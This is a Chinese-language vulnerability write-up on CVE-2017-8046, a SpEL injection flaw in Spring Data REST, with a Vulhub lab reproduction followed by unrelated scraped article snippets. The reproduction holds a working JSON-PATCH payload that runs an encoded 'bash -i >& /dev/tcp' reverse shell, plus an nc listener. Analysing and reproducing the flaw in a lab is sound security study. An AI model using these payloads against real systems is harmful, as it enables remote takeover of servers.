CVE-2017-8046 漏洞深度分析

漏洞概述

CVE-2017-8046 是 Spring Data REST 框架中的一个高危远程代码执行漏洞,影响版本包括 Spring Data REST < 2.5.12、2.6.7、3.0 RC3 及关联的 Spring Boot 和 Spring Data 旧版本。攻击者通过构造包含恶意 SpEL(Spring Expression Language)表达式的 PATCH 请求,绕过路径校验逻辑,触发远程代码执行。该漏洞的核心问题在于 Spring Data REST 对 path 参数的 SpEL 解析未做充分安全校验。


技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    Spring Data REST 在处理 JSON-PATCH 请求时,将用户输入的 path 参数直接转换为 SpEL 表达式,未对输入内容进行安全过滤。攻击者可构造恶意 path 参数(如 T(java.lang.Runtime).exec(...)),触发任意代码执行。
  • 路径处理逻辑缺陷
    PatchOperation 类的 pathToSpEL 方法将路径按 / 分割后拼接为 SpEL 表达式,例如 /admin/price 转换为 admin.price,但未验证路径合法性,导致攻击者可注入非法的表达式结构。
2. 源码分析
关键代码 1:PATCH 请求处理入口(JsonPatchHandler.java)
public <T> T apply(IncomingRequest request, T target) throws Exception {if (request.isJsonPatchRequest()) {return applyPatch(request.getBody(), target); // 处理 JSON-PATCH 请求} else {return applyMergePatch(request.getBody(), target);}
}

问题点

  • 请求头 Content-Type: application/json-patch+json 触发 applyPatch 分支。
  • request.getBody() 直接读取未经验证的请求体内容。
关键代码 2:路径转换逻辑(PatchOperation.java)
public PatchOperation(String op, String path, Object value) {this.path = path;this.spelExpression = pathToExpression(path); // 将 path 转换为 SpEL 表达式
}private static String pathToSpEL(String path) {return pathNodesToSpEL(path.split("\\/")); // 按 "/" 分割路径
}

问题点

  • 分割后的路径片段通过 . 拼接为 SpEL 表达式(如 path="/T(Runtime).exec" 转换为 T(Runtime).exec),未校验片段合法性。
关键代码 3:SpEL 表达式执行(ReplaceOperation.java)
protected void setValueOnTarget(Object target, Object value) {spelExpression.setValue(target, value); // 执行 SpEL 表达式
}

漏洞触发点

  • path 包含恶意表达式(如 T(java.lang.Runtime).exec("calc"))时,spelExpression.setValue 触发代码执行。
3. 补丁分析

官方修复通过 verifyPath 方法验证路径合法性,防止非法表达式注入:

protected Optional<PropertyPath> verifyPath(Class<?> type) {String pathSource = Arrays.stream(path.split("/")).filter(it -> !it.matches("\\d")) // 过滤数字.filter(it -> !it.equals("-"))     // 过滤特殊符号.collect(Collectors.joining("."));return Optional.of(PropertyPath.from(pathSource, type)); // 反射验证路径存在性
}

修复效果

  • 非法的路径(如包含类方法调用的 T(Runtime).exec)因无法通过反射校验而抛出异常。

漏洞复现

1.环境搭建
  • 使用 Vulhub 环境启动漏洞靶机:

    cd vulhub/spring/CVE-2017-8046
    docker-compose up -d
    

    在这里插入图片描述

  • 访问 http://target:8080/customers/1,确认服务正常运行。
    在这里插入图片描述

2.攻击步骤(反弹shell)
  • 制作payload(靶机ip:192.168.1.100;攻击机ip:192.168.1.102)
   bash -i >& /dev/tcp/192.168.1.102/6666 0>&1

base64编码

	bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1 base64编码

ASCII编码

&#98;&#97;&#115;&#104;&#32;&#45;&#99;&#123;&#101;&#99;&#104;&#111;&#44;&#89;&#109;&#70;&#122;&#97;&#67;&#65;&#116;&#97;&#83;&#65;&#43;&#74;&#105;&#65;&#118;&#90;&#71;&#86;&#50;&#76;&#51;&#82;&#106;&#99;&#67;&#56;&#120;&#79;&#84;&#73;&#117;&#77;&#84;&#89;&#52;&#76;&#106;&#69;&#117;&#77;&#84;&#73;&#52;&#76;&#122;&#89;&#50;&#78;&#106;&#89;&#103;&#77;&#68;&#52;&#109;&#77;&#81;&#111;&#61;&#125;&#124;&#123;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#45;&#100;&#125;&#124;&#123;&#98;&#97;&#115;&#104;&#44;&#45;&#105;&#125;

用记事本去掉;&#

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

构造最后payload

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]
  • 攻击机开启监听
    nc -lvvp 6666

在这里插入图片描述

  • 注入payload

bp抓取访问/customers/1的数据包
在这里插入图片描述
GET修改为PATCH,添加 Content-Type: application/json-patch+json字段,将payload添加到最后一行。
在这里插入图片描述

  • 反弹shsll成功
    在这里插入图片描述

修复方案

1. 升级版本:

升级至 Spring Data REST 2.5.12+、2.6.7+、3.0 RC3+,修复路径校验逻辑。

2. 输入过滤:

对用户输入的 path 参数进行正则匹配,禁止包含 T(...) 等 SpEL 关键字。

3. 禁用高风险功能:

若非必要,禁用 JSON-PATCH 方法或限制其使用范围。


总结

CVE-2017-8046 暴露了 Spring Data REST 在路径解析与 SpEL 表达式处理上的设计缺陷。其修复方案通过反射验证路径合法性,但开发者仍需警惕用户输入的直接解析场景,避免类似漏洞。实际开发中,应遵循最小化输入信任原则,结合框架升级与自定义校验机制,确保系统安全。


参考链接

  1. CVE-2017-8046 官方公告
  2. 漏洞复现与 PoC 构造
  3. 补丁代码分析
  4. Spring Data REST 远程代码执行漏洞(CVE-2017-8046)分析与复现6
  5. CVE-2017-8046 Spring Data Rest 远程命令执行漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/web/80179.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

qt文本边框设置

// 计算文本的大致尺寸 QFontMetrics fm(textEditor->font()); QRect textRect fm.boundingRect(textItem->toPlainText()); // 设置编辑框大小&#xff0c;增加一些边距 const int margin 10; textEditor->setGeometry( center.x() - textRect.width()/2 - margin,…

Java 与 面向对象编程(OOP)

Java 是典型的纯面向对象编程语言&#xff08;Pure Object-Oriented Language&#xff09;&#xff0c;其设计严格遵循面向对象&#xff08;OOP&#xff09;的核心原则。以下是具体分析&#xff1a; 1. Java 的面向对象核心特性 (1) 一切皆对象 Java 中几乎所有的操作都围绕…

导出导入Excel文件(详解-基于EasyExcel)

前言&#xff1a; 近期由于工作的需要&#xff0c;根据需求需要导出导入Excel模板。于是自学了一下下&#xff0c;在此记录并分享&#xff01;&#xff01; EasyExcel&#xff1a; 首先我要在这里非常感谢阿里的大佬们&#xff01;封装这么好用的Excel相关的API&#xff0c;真…

python版本管理工具-pyenv轻松切换多个Python版本

在使用python环境开发时&#xff0c;相信肯定被使用版本所烦恼&#xff0c;在用第三方库时依赖兼容的python版本不一样&#xff0c;有没有一个能同时安装多个python并能自由切换的工具呢&#xff0c;那就是pyenv&#xff0c;让你可以轻松切换多个Python 版本。 pyenv是什么 p…

Elasticsearch 索引副本数

作者&#xff1a;来自 Elastic Kofi Bartlett 解释如何配置 number_of_replicas、它的影响以及最佳实践。 更多阅读&#xff1a;Elasticsearch 中的一些重要概念: cluster, node, index, document, shards 及 replica 想获得 Elastic 认证&#xff1f;查看下一期 Elasticsearc…

AXI4总线协议 ------ AXI_LITE协议

一、AXI 相关知识介绍 https://download.csdn.net/download/mvpkuku/90841873 AXI_LITE 选出部分重点&#xff0c;详细文档见上面链接。 1.AXI4 协议类型 2.握手机制 二、AXI_LITE 协议的实现 1. AXI_LITE 通道及各通道端口功能介绍 2.实现思路及框架 2.1 总体框架 2.2 …

idea运行

各种小kips Linuxidea上传 Linux 部署流程 1、先在idea打好jar包&#xff0c;clean之后install 2、在Linux目录下&#xff0c;找到对应项目目录&#xff0c;把原来的jar包放在bak文件夹里面 3、杀死上一次jar包的pid ps -ef|grep cliaidata.jar kill pid 4、再进行上传新的jar…

FPGA: XILINX Kintex 7系列器件的架构

本文将详细介绍Kintex-7系列FPGA器件的架构。以下内容将涵盖Kintex-7的核心架构特性、主要组成部分以及关键技术&#xff0c;尽量全面且结构化&#xff0c;同时用简洁的语言确保清晰易懂。 Kintex-7系列FPGA架构概述 Kintex-7是Xilinx 7系列FPGA中的中高端产品线&#xff0c;基…

【LLM】大模型落地应用的技术 ——— 推理训练 MOE,AI搜索 RAG,AI Agent MCP

【LLM】大模型落地应用的技术 ——— 推理训练MOE&#xff0c;AI搜索RAG&#xff0c;AI Agent MCP 文章目录 1、推理训练 MOE2、AI搜索 RAG3、AI Agent MCP 1、推理训练 MOE MoE 是模型架构革新&#xff0c;解决了算力瓶颈。原理是多个专家模型联合计算。 推理训练MoE&#xff…

10 web 自动化之 yaml 数据/日志/截图

文章目录 一、yaml 数据获取二、日志获取三、截图 一、yaml 数据获取 需要安装 PyYAML 库 import yaml import os from TestPOM.common import dir_config as Dir import jsonpathclass Data:def __init__(self,keyNone,file_name"test_datas.yaml"):file_path os…

中exec()函数因$imagePath参数导致的命令注入漏洞

exec(zbarimg -q . $imagePath, $barcodeList, $returnVar); 针对PHP中exec()函数因$imagePath参数导致的命令注入漏洞&#xff0c;以下是安全解决方案和最佳实践&#xff1a; 一、漏洞原理分析 直接拼接用户输入$imagePath到系统命令中&#xff0c;攻击者可通过注入特殊字…

this.$set的用法-响应式数据更新

目录 一、核心作用 三、使用场景与示例 1. 给对象添加新属性 四、与 Vue.set 的关系 五、底层原理 六、Vue 3 的替代方案 七、最佳实践 八、常见问题 Q&#xff1a;为什么修改嵌套对象属性不需要 $set&#xff1f; Q&#xff1a;$set 和 $forceUpdate 的区别&#xf…

【生成式AI文本生成实战】DeepSeek系列应用深度解析

目录 &#x1f31f; 前言&#x1f3d7;️ 技术背景与价值&#x1fa79; 当前技术痛点&#x1f6e0;️ 解决方案概述&#x1f465; 目标读者说明 &#x1f9e0; 一、技术原理剖析&#x1f4ca; 核心概念图解&#x1f4a1; 核心作用讲解&#x1f527; 关键技术模块说明⚖️ 技术选…

c/c++的opencv的图像预处理讲解

OpenCV 图像预处理核心技术详解 (C/C) 图像预处理是计算机视觉任务中至关重要的一步。原始图像往往受到噪声、光照不均、尺寸不一等多种因素的影响&#xff0c;直接用于后续分析&#xff08;如特征提取、目标检测、机器学习模型训练等&#xff09;可能会导致性能下降或结果不准…

使用 Docker 部署 React + Nginx 应用教程

目录 1. 创建react项目结构2. 创建 .dockerignore3. 创建 Dockerfile4. 创建 nginx.conf5. 构建和运行6. 常用命令 1. 创建react项目结构 2. 创建 .dockerignore # 依赖目录 node_modules npm-debug.log# 构建输出 dist build# 开发环境文件 .git .gitignore .env .env.local …

Java 流(Stream)API

一、理论说明 1. 流的定义 Java 流&#xff08;Stream&#xff09;是 Java 8 引入的新特性&#xff0c;用于对集合&#xff08;如 List、Set&#xff09;或数组进行高效的聚合操作&#xff08;如过滤、映射、排序&#xff09;和并行处理。流不存储数据&#xff0c;而是按需计…

网络协议分析 实验七 FTP、HTTP、DHCP

文章目录 实验7.1 FTP协议练习二 使用浏览器登入FTP练习三 在窗口模式下&#xff0c;上传/下传数据文件实验7.2 HTTP(Hyper Text Transfer Protocol)练习二 页面提交练习三 访问比较复杂的主页实验7.3 DHCP(Dynamic Host Configuration Protocol) 实验7.1 FTP协议 dir LIST&…

go语言学习进阶

目录 第一章 go语言中包的使用 一.main包 二.package 三.import 四.goPath环境变量 五.init包初始化 六.管理外部包 第二章 time包 第三章 File文件操作 一.FileInfo接口 二.权限 三.打开模式 四.File操作 五.读文件 参考1&#xff1a;Golang 中的 bufio 包详解…

Hue面试内容整理-后端框架

Cloudera 的 Hue 项目在后端采用了成熟的 Python Web 框架 Django,结合其他组件构建了一个可扩展、模块化的系统,便于与 Hadoop 生态系统中的各个组件集成。以下是 Hue 后端架构的详细介绍: 后端架构概览 1. Django Web 框架 Hue 的核心是基于 Django 构建的 Web 应用,负责…

Web-CSS入门

WEB前端&#xff0c;三部分&#xff1a;HTML部分、CSS部分、Javascript部分。 1.HTML部分&#xff1a;主要负责网页的结构层 2.CSS部分&#xff1a;主要负责网页的样式层 3.JS部分&#xff1a;主要负责网页的行为层 **基本概念** 层叠样式表&#xff0c;Cascading Style Sh…